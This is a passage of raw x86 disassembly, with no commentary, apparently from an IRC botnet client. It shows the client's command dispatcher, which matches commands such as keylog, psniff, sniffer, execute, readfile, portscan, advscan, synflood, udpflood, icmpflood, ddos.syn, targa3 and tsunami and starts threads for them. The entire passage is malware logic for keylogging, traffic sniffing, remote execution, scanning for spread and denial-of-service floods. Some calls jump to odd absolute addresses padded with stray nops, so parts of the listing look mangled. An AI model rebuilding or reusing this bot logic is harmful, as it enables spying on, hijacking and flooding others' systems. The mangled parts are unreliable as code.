pop ecx
jz loc_409471
push edi
push offset aSe ; "se"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409471
push edi
push offset aDns ; "dns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409406
push edi
push offset aDn ; "dn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409406
push edi
push offset aKillproc ; "killproc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4093D6
push edi
push offset aKp ; "kp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4093D6
push edi
push offset aKill ; "kill"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409377
push edi
push offset aKi ; "ki"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409377
push edi
push offset aDelete ; "delete"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40933B
push edi
push offset aDel ; "del"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40933B
push edi
push offset aGet ; "get"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40925C
push edi
push offset aGt ; "gt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40925C
push edi
push offset aList ; "list"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40923A
push edi
push offset aLi ; "li"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40923A
push edi
push offset aVisit ; "visit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409146
push edi
push offset aV ; "v"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409146
push edi
push offset aMirccmd ; "mirccmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40910F
push edi
push offset aMirc ; "mirc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40910F
push edi
push offset aCmd ; "cmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push edi
push offset aCm ; "cm"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push edi
push offset aReadfile ; "readfile"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409028
push edi
push offset aRf ; "rf"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409028
push edi
push offset aPsniff ; "psniff"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405C7B
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405C41
push 20h
call sub_40B33E
test eax, eax
pop ecx
jle short loc_405B6B
push offset dword_42B24C
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405B6B: ; CODE XREF: sub_401ACD+4092j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_EC4], eax
mov eax, [ebp+var_4]
mov [ebp+var_E3C], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E38], eax
jnz short loc_405BAD
mov esi, offset aF_1 ; "#f"
push offset dword_43D128
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405BAD
mov esi, [ebp+var_88]
loc_405BAD: ; CODE XREF: sub_401ACD+40C2j
; sub_401ACD+40D8j
push esi
lea eax, [ebp+var_EC0]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42B21C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 20h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_E40], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC4]
push ebx
push eax
push offset byte_411FD5
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_E40]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_405C30
loc_405C1A: ; CODE XREF: sub_401ACD+4161j
cmp [ebp+var_E34], ebx
jnz loc_40828B
push 32h
call near ptr 2650E43h
nop
jmp short loc_405C1A
; ---------------------------------------------------------------------------
loc_405C30: ; CODE XREF: sub_401ACD+414Bj
nop
call near ptr 2660A00h
push eax
push offset dword_42B1E0
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405C41: ; CODE XREF: sub_401ACD+4082j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828B
push ebx
push 20h
call sub_40B2F1
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C71
push eax
push offset dword_42B1A4
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405C71: ; CODE XREF: sub_401ACD+4197j
push offset dword_42B178
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405C7B: ; CODE XREF: sub_401ACD+406Bj
push edi
push offset aSniffer ; "sniffer"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405DCD
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405D93
push 21h
call sub_40B33E
test eax, eax
pop ecx
jle short loc_405CBD
push offset unk_42B150
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405CBD: ; CODE XREF: sub_401ACD+41E4j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_FEC], eax
mov eax, [ebp+var_4]
mov [ebp+var_F64], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_F60], eax
jnz short loc_405CFF
mov esi, offset aF_1 ; "#f"
push offset dword_43D128
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405CFF
mov esi, [ebp+var_88]
loc_405CFF: ; CODE XREF: sub_401ACD+4214j
; sub_401ACD+422Aj
push esi
lea eax, [ebp+var_FE8]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset unk_42B120
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 21h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_F68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FEC]
push ebx
push eax
push offset sub_412660
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_F68]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_405D82
loc_405D6C: ; CODE XREF: sub_401ACD+42B3j
cmp [ebp+var_F5C], ebx
jnz loc_40828B
push 32h
nop
call near ptr 2650E43h
jmp short loc_405D6C
; ---------------------------------------------------------------------------
loc_405D82: ; CODE XREF: sub_401ACD+429Dj
nop
call near ptr 2660A00h
push eax
push offset unk_42B0E4
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405D93: ; CODE XREF: sub_401ACD+41D4j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828B
push ebx
push 21h
call sub_40B2F1
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DC3
push eax
push offset unk_42B0A4
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405DC3: ; CODE XREF: sub_401ACD+42E9j
push offset unk_42B074
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405DCD: ; CODE XREF: sub_401ACD+41BDj
push edi
push offset aIdent ; "ident"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405EA2
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405E68
push 2
call sub_40B33E
test eax, eax
pop ecx
jle short loc_405E0B
push offset dword_42B04C
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405E0B: ; CODE XREF: sub_401ACD+4332j
lea eax, [ebp+var_2C4]
push offset dword_42B020
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 2
push eax
call sub_40B0F6
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset loc_4101FC
push ebx
push ebx
nop
call near ptr 2660000h
imul esi, 234h
cmp eax, ebx
mov dword_43DEC4[esi], eax
jnz loc_40828B
nop
call near ptr 2660A00h
push eax
push offset dword_42AFEC
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405E68: ; CODE XREF: sub_401ACD+4326j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828B
push ebx
push 2
call sub_40B2F1
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405E98
push eax
push offset dword_42AFB4
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405E98: ; CODE XREF: sub_401ACD+43BEj
push offset dword_42AF94
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405EA2: ; CODE XREF: sub_401ACD+430Fj
push edi
push offset aKeylog ; "keylog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40601F
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
mov edi, offset aFile ; "file"
test eax, eax
pop ecx
jz short loc_405F18
push [ebp+arg_10]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_405F18
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828B
push ebx
push 23h
call sub_40B2F1
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405F0E
push eax
push offset dword_42AF48
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405F0E: ; CODE XREF: sub_401ACD+4434j
push offset dword_42AF1C
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405F18: ; CODE XREF: sub_401ACD+4400j
; sub_401ACD+440Fj
push 23h
call sub_40B33E
test eax, eax
pop ecx
jle short loc_405F2E
push offset dword_42AEFC
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405F2E: ; CODE XREF: sub_401ACD+4455j
mov eax, [ebp+arg_4]
push [ebp+arg_10]
mov [ebp+var_C5C], eax
mov eax, [ebp+var_4]
push edi
mov [ebp+var_BD4], eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405F5B
mov [ebp+var_BD0], 1
jmp short loc_405F64
; ---------------------------------------------------------------------------
loc_405F5B: ; CODE XREF: sub_401ACD+4480j
mov eax, [ebp+var_8]
mov [ebp+var_BD0], eax
loc_405F64: ; CODE XREF: sub_401ACD+448Cj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_405F8B
mov esi, offset aF_0 ; "#f"
push offset dword_43D128
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405F8B
mov esi, [ebp+var_88]
loc_405F8B: ; CODE XREF: sub_401ACD+44A0j
; sub_401ACD+44B6j
push esi
lea eax, [ebp+var_C54]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42AED8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 23h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_C58], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C5C]
push ebx
push eax
push offset dword_411CF4
push ebx
push ebx
call near ptr 2660000h
nop
mov ecx, [ebp+var_C58]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40600E
loc_405FF8: ; CODE XREF: sub_401ACD+453Fj
cmp [ebp+var_BCC], ebx
jnz loc_40828B
push 32h
call near ptr 2650E43h
nop
jmp short loc_405FF8
; ---------------------------------------------------------------------------
loc_40600E: ; CODE XREF: sub_401ACD+4529j
nop
call near ptr 2660A00h
push eax
push offset dword_42AE9C
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_40601F: ; CODE XREF: sub_401ACD+43E4j
push edi
push offset aNet ; "net"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40626F
cmp dword_4CB044, ebx
jz short loc_40604E
cmp dword_4CB06C, ebx
jz short loc_40604E
push offset unk_42AE60
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40604E: ; CODE XREF: sub_401ACD+456Dj
; sub_401ACD+4575j
cmp [ebp+var_C], ebx
jz loc_406CDE
mov edi, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp edi, ebx
jz short loc_406073
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_406073: ; CODE XREF: sub_401ACD+4596j
push [ebp+arg_10]
push offset aStart ; "start"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060C0
cmp edi, ebx
jz short loc_406094
push [ebp+arg_0]
push 3
jmp loc_406126
; ---------------------------------------------------------------------------
loc_406094: ; CODE XREF: sub_401ACD+45BBj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41895B
add esp, 0Ch
test eax, eax
jz short loc_4060B6
push offset unk_42AE34
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_4060B6: ; CODE XREF: sub_401ACD+45DDj
push offset unk_42AE14
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_4060C0: ; CODE XREF: sub_401ACD+45B7j
push [ebp+arg_10]
push offset aStop ; "stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060DA
push [ebp+arg_0]
push 4
jmp short loc_406126
; ---------------------------------------------------------------------------
loc_4060DA: ; CODE XREF: sub_401ACD+4604j
push [ebp+arg_10]
push offset aPause ; "pause"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060F4
push [ebp+arg_0]
push 5
jmp short loc_406126
; ---------------------------------------------------------------------------
loc_4060F4: ; CODE XREF: sub_401ACD+461Ej
push [ebp+arg_10]
push offset aContinue ; "continue"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40610E
push [ebp+arg_0]
push 6
jmp short loc_406126
; ---------------------------------------------------------------------------
loc_40610E: ; CODE XREF: sub_401ACD+4638j
push [ebp+arg_10]
push offset aDelete ; "delete"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406138
push [ebp+arg_0]
push 1
loc_406126: ; CODE XREF: sub_401ACD+45C2j
; sub_401ACD+460Bj ...
call sub_4186C1
pop ecx
pop ecx
loc_40612D: ; CODE XREF: sub_401ACD+46A1j
; sub_401ACD+4729j ...
push eax
push offset aS_1 ; "%s"
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_406138: ; CODE XREF: sub_401ACD+4652j
push [ebp+arg_10]
push offset aShare ; "share"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40619D
cmp edi, ebx
jz short loc_406170
cmp [ebp+var_8FC], bl
jz short loc_40615D
push ebx
push edi
push 1
jmp short loc_406166
; ---------------------------------------------------------------------------
loc_40615D: ; CODE XREF: sub_401ACD+4688j
push [ebp+esi+var_84]
push edi
push ebx
loc_406166: ; CODE XREF: sub_401ACD+468Ej
call sub_418A98
add esp, 0Ch
jmp short loc_40612D
; ---------------------------------------------------------------------------
loc_406170: ; CODE XREF: sub_401ACD+4680j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418C8E
add esp, 10h
test eax, eax
jz short loc_406193
push offset unk_42ADCC
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_406193: ; CODE XREF: sub_401ACD+46BAj
push offset unk_42ADAC
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40619D: ; CODE XREF: sub_401ACD+467Cj
push [ebp+arg_10]
push offset aUser ; "user"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406228
cmp edi, ebx
jz short loc_4061FB
cmp [ebp+var_8FC], bl
jz short loc_4061CE
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push ebx
push edi
push 1
jmp short loc_4061EE
; ---------------------------------------------------------------------------
loc_4061CE: ; CODE XREF: sub_401ACD+46EDj
push [ebp+var_4]
mov esi, [ebp+esi+var_84]
cmp esi, ebx
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_4061EA
push esi
push edi
push ebx
jmp short loc_4061EE
; ---------------------------------------------------------------------------
loc_4061EA: ; CODE XREF: sub_401ACD+4716j
push ebx
push edi
push 2
loc_4061EE: ; CODE XREF: sub_401ACD+46FFj
; sub_401ACD+471Bj
call sub_418DAF
add esp, 18h
jmp loc_40612D
; ---------------------------------------------------------------------------
loc_4061FB: ; CODE XREF: sub_401ACD+46E5j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4192DF
add esp, 10h
test eax, eax
jz short loc_40621E
push offset unk_42AD84
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40621E: ; CODE XREF: sub_401ACD+4745j
push offset unk_42AD64
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_406228: ; CODE XREF: sub_401ACD+46E1j
push [ebp+arg_10]
push offset aSend ; "send"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406265
cmp edi, ebx
jz short loc_40625B
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419593
add esp, 10h
jmp loc_40612D
; ---------------------------------------------------------------------------
loc_40625B: ; CODE XREF: sub_401ACD+4770j
push offset unk_42AD38
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_406265: ; CODE XREF: sub_401ACD+476Cj
push offset unk_42AD1C
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40626F: ; CODE XREF: sub_401ACD+4561j
push edi
push offset aCapture ; "capture"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408DFD
push edi
push offset aCap ; "cap"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408DFD
push edi
push offset aGethost ; "gethost"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408D09
push edi
push offset aGh ; "gh"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408D09
loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj
; sub_401ACD+3CECj ...
mov edi, [ebp+esi+var_88]
cmp edi, ebx
mov [ebp+arg_1C], edi
jz loc_401E94
push [ebp+arg_8]
push offset aKilllog ; "killlog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CEF
push [ebp+arg_8]
push offset aKl ; "kl"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CEF
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CAC
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CAC
push [ebp+arg_8]
push offset aPrivmsg_0 ; "privmsg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408C57
push [ebp+arg_8]
push offset dword_42B500
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408C57
push [ebp+arg_8]
push offset aAction ; "action"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408BEA
push [ebp+arg_8]
push offset aA ; "a"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408BEA
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B86
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B86
push [ebp+arg_8]
push offset aMode ; "mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B4A
push [ebp+arg_8]
push offset aM ; "m"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B4A
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408ADB
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408ADB
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408A55
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408A55
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089E5
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089E5
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089BF
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089BF
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40895B
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40895B
push [ebp+arg_8]
push offset aTarga3 ; "targa3"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408886
push [ebp+arg_8]
push offset aT3 ; "t3"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408886
push [ebp+arg_8]
push offset aTsunami ; "tsunami"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40878B
push [ebp+arg_8]
push offset aTsn ; "tsn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40878B
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408687
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408687
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085E8
push [ebp+arg_8]
push offset aDe ; "de"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085E8
push [ebp+arg_8]
push offset aJpDe100 ; "jp]de100"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408457
push [ebp+arg_8]
push offset aJp10 ; "jp]10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408457
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4083C4
push [ebp+arg_8]
push offset aE ; "e"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4083C4
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4082B5
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4082B5
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40823E
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40823E
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408141
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408141
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_401E94
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408059
push [ebp+arg_8]
push offset aC ; "c"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408059
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F60
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F60
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F60
push [ebp+arg_8]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4067D6
push 7Fh
lea eax, [ebp+var_327C]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_31FC]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_317C]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_30FC]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3074], eax
push ebx
lea eax, [ebp+var_2C4]
push 13h
push eax
mov [ebp+var_3078], edi
mov [ebp+var_3280], esi
call sub_40B0F6
add esp, 3Ch
mov [ebp+var_307C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3280]
push ebx
push eax
push offset word_4146CE
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_307C]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4067C5
loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j
cmp [ebp+var_3070], ebx
jnz loc_403DA0
push 32h
nop
call near ptr 2650E43h
jmp short loc_4067AF
; ---------------------------------------------------------------------------
loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j
nop
call near ptr 2660A00h
push eax
push offset unk_42AB8C
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_4067D6: ; CODE XREF: sub_401ACD+4C36j
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407E78
push [ebp+arg_8]
push offset aSyn ; "syn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407E78
push [ebp+arg_8]
push offset aSkysyn ; "skysyn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_406903
push 7Fh
lea eax, [ebp+var_36A4]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3624]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_35A4]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3524]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_34A0], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_349C], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_36A8], esi
push [ebp+arg_10]
push offset dword_42AB44
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 10h
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_34A4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36A8]
push ebx
push eax
push offset word_413626
push ebx
push ebx
call near ptr 2660000h
nop
mov ecx, [ebp+var_34A4]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4068F2
loc_4068DC: ; CODE XREF: sub_401ACD+4E23j
cmp [ebp+var_3498], ebx
jnz loc_407278
push 32h
nop
call near ptr 2650E43h
jmp short loc_4068DC
; ---------------------------------------------------------------------------
loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj
call near ptr 2660A00h
nop
push eax
push offset dword_42AB08
jmp loc_407269
; ---------------------------------------------------------------------------
loc_406903: ; CODE XREF: sub_401ACD+4D48j
push [ebp+arg_8]
push offset aPhatwonk ; "phatwonk"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407D90
push [ebp+arg_8]
push offset aWonk ; "wonk"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407D90
push [ebp+arg_8]
push offset aJpldg10 ; "jpldg10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407C52
push [ebp+arg_8]
push offset aJpl10 ; "jpl10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407C52
push [ebp+arg_8]
push offset aRedirect ; "redirect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407B55
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407B55
push [ebp+arg_8]
push offset aScan ; "scan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407A62
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407A62
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40795D
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40795D
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407865
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407865
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401E94
push [ebp+arg_8]
push offset aPortscan ; "portscan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40775F
push [ebp+arg_8]
push offset aPsc ; "psc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40775F
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407298
push [ebp+arg_8]
push offset aAsc ; "asc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407298
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40714F
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40714F
push [ebp+arg_8]
push offset aU ; "u"
